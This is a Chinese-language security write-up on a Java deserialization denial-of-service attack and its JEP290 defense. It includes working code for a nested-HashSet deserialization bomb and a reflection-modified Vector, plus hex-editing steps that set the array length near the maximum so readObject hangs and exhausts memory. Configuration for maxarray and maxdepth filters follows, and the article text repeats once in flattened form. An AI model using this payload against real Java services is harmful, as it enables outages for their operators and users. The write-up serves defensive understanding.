Java反序列化机制拒绝服务的利用与防御
字数 1536 2025-08-10 08:29:06

Java反序列化机制拒绝服务的利用与防御

前言

本文详细分析Java反序列化机制中一个可利用手工构造序列化数据来虚耗内存的问题,以及相应的防御措施。该问题通过构造特殊的序列化数据,可使ObjectInputStream.readObject方法卡住并占用大量内存,导致拒绝服务攻击。

问题概述

通过输入简单修改过的序列化数据,可以实现:

  1. 占用任意大小的内存
  2. 结合其他技巧使ObjectInputStream.readObject方法卡住
  3. 占用的内存不被释放
  4. 导致其他正常业务进行内存申请时报OutOfMemoryError异常

该问题效果与Fastjson拒绝服务问题类似,可通过配置JEP290机制进行防御。

技术分析

反序列化数组的内存消耗问题

在反序列化数组时,ObjectInputStream.readArray方法会:

  1. 从InputStream读取数组长度
  2. 按照数组长度创建数组实例
  3. 依次从流中读取数组元素

关键点:

  • 数组长度直接从输入流中读取,无法预先验证剩余数据大小
  • 攻击者可修改序列化数据中的数组大小字段,强制分配超大数组
  • 在创建数组实例时就会消耗大量内存

反序列化炸弹技术

为了使反序列化过程不因数据不足而报错退出,需要使用"反序列化炸弹"技术:

  1. 构造一个特殊的多层HashSet对象
  2. 该对象在反序列化时会一直执行,不会报错
  3. 将炸弹对象作为数组的第一个元素
  4. 使反序列化过程卡在第一个元素的处理上

相关资源:

攻击实现

序列化数据构造

使用Java的Vector类进行构造,因为它:

  1. 内部使用Object数组
  2. 支持序列化
  3. 可通过反射修改内部数组

构造步骤:

  1. 创建反序列化炸弹对象
Set<Object> root = new HashSet<>();
Set<Object> s1 = root;
Set<Object> s2 = new HashSet<>();
for (int i = 0; i < 100; i++) {
    Set<Object> t1 = new HashSet<>();
    Set<Object> t2 = new HashSet<>();
    t1.add("foo"); // 使t1不等于t2
    s1.add(t1);
    s1.add(t2);
    s2.add(t1);
    s2.add(t2);
    s1 = t1;
    s2 = t2;
}
  1. 创建Vector并修改其内部数组
Vector<Object> vec = new Vector<>();
Object[] objects1 = new Object[123]; // 初始长度123
objects1[0] = root; // 设置第一个元素为炸弹对象

// 通过反射修改Vector的内部数组
Field elementData = vec.getClass().getDeclaredField("elementData");
elementData.setAccessible(true);
elementData.set(vec, objects1);
  1. 序列化Vector对象到文件

修改序列化数据

使用十六进制编辑器修改序列化数据中的数组长度字段:

  • 原始长度:123 (十六进制 00 00 00 7B)
  • 修改为:2147483645 (Java允许的最大数组长度,十六进制 7F FF FF FD)

工具替代方案:可以使用SerialWriter工具自动生成

反序列化攻击效果

  1. 内存消耗:

    • 会调用Array.newInstance创建指定大小的数组
    • 单次可分配约8GB内存
    • 通过多层Vector包裹可不断扩大内存占用
  2. 运行结果:

    • 设置-Xmx8100M:直接OOM
    • 设置-Xmx16100MreadObject卡住并占用大量内存

防御措施 - JEP290机制

JEP290简介

Oracle从以下版本开始支持JEP290:

  • JDK 8u121
  • JDK 7u131
  • JDK 6u141

JEP290提供多种防御参数:

  • maxdepth=value - 对象图的最大嵌套深度
  • maxrefs=value - 内部引用的最大数量
  • maxbytes=value - 输入流的最大长度
  • maxarray=value - 最大数组长度

配置方式

  1. 通过系统属性:
-Djdk.serialFilter=maxarray=100000;maxdepth=20
  1. 通过安全配置文件:
    conf/security/java.properties中设置:
jdk.serialFilter=maxarray=100000;maxdepth=20

防御原理

针对本攻击的有效配置:

  • maxarray限制数组最大长度
  • maxdepth限制对象嵌套深度

结论与建议

  1. Java序列化机制广泛使用,存在多个已知的反序列化输入点
  2. 虽然JEP290推出已久,但实际开启使用的系统不多
  3. 攻击者通过精心构造数组长度,可以最大化内存消耗
  4. 强烈建议Java业务系统开启JEP290防御机制

参考资料

  1. Effective Java反序列化炸弹示例
  2. JEP290详细介绍
  3. 反序列化炸弹技术分析论文
Java反序列化机制拒绝服务的利用与防御 前言 本文详细分析Java反序列化机制中一个可利用手工构造序列化数据来虚耗内存的问题,以及相应的防御措施。该问题通过构造特殊的序列化数据,可使 ObjectInputStream.readObject 方法卡住并占用大量内存,导致拒绝服务攻击。 问题概述 通过输入简单修改过的序列化数据,可以实现: 占用任意大小的内存 结合其他技巧使 ObjectInputStream.readObject 方法卡住 占用的内存不被释放 导致其他正常业务进行内存申请时报 OutOfMemoryError 异常 该问题效果与Fastjson拒绝服务问题类似,可通过配置JEP290机制进行防御。 技术分析 反序列化数组的内存消耗问题 在反序列化数组时, ObjectInputStream.readArray 方法会: 从InputStream读取数组长度 按照数组长度创建数组实例 依次从流中读取数组元素 关键点: 数组长度直接从输入流中读取,无法预先验证剩余数据大小 攻击者可修改序列化数据中的数组大小字段,强制分配超大数组 在创建数组实例时就会消耗大量内存 反序列化炸弹技术 为了使反序列化过程不因数据不足而报错退出,需要使用"反序列化炸弹"技术: 构造一个特殊的多层HashSet对象 该对象在反序列化时会一直执行,不会报错 将炸弹对象作为数组的第一个元素 使反序列化过程卡在第一个元素的处理上 相关资源: Effective Java中的反序列化炸弹示例 学术论文分析 攻击实现 序列化数据构造 使用Java的 Vector 类进行构造,因为它: 内部使用Object数组 支持序列化 可通过反射修改内部数组 构造步骤: 创建反序列化炸弹对象 创建Vector并修改其内部数组 序列化Vector对象到文件 修改序列化数据 使用十六进制编辑器修改序列化数据中的数组长度字段: 原始长度:123 (十六进制 00 00 00 7B) 修改为:2147483645 (Java允许的最大数组长度,十六进制 7F FF FF FD) 工具替代方案:可以使用 SerialWriter 工具自动生成 反序列化攻击效果 内存消耗: 会调用 Array.newInstance 创建指定大小的数组 单次可分配约8GB内存 通过多层Vector包裹可不断扩大内存占用 运行结果: 设置 -Xmx8100M :直接OOM 设置 -Xmx16100M : readObject 卡住并占用大量内存 防御措施 - JEP290机制 JEP290简介 Oracle从以下版本开始支持JEP290: JDK 8u121 JDK 7u131 JDK 6u141 JEP290提供多种防御参数: maxdepth=value - 对象图的最大嵌套深度 maxrefs=value - 内部引用的最大数量 maxbytes=value - 输入流的最大长度 maxarray=value - 最大数组长度 配置方式 通过系统属性: 通过安全配置文件: 在 conf/security/java.properties 中设置: 防御原理 针对本攻击的有效配置: maxarray 限制数组最大长度 maxdepth 限制对象嵌套深度 结论与建议 Java序列化机制广泛使用,存在多个已知的反序列化输入点 虽然JEP290推出已久,但实际开启使用的系统不多 攻击者通过精心构造数组长度,可以最大化内存消耗 强烈建议Java业务系统开启JEP290防御机制 参考资料 Effective Java反序列化炸弹示例 JEP290详细介绍 反序列化炸弹技术分析论文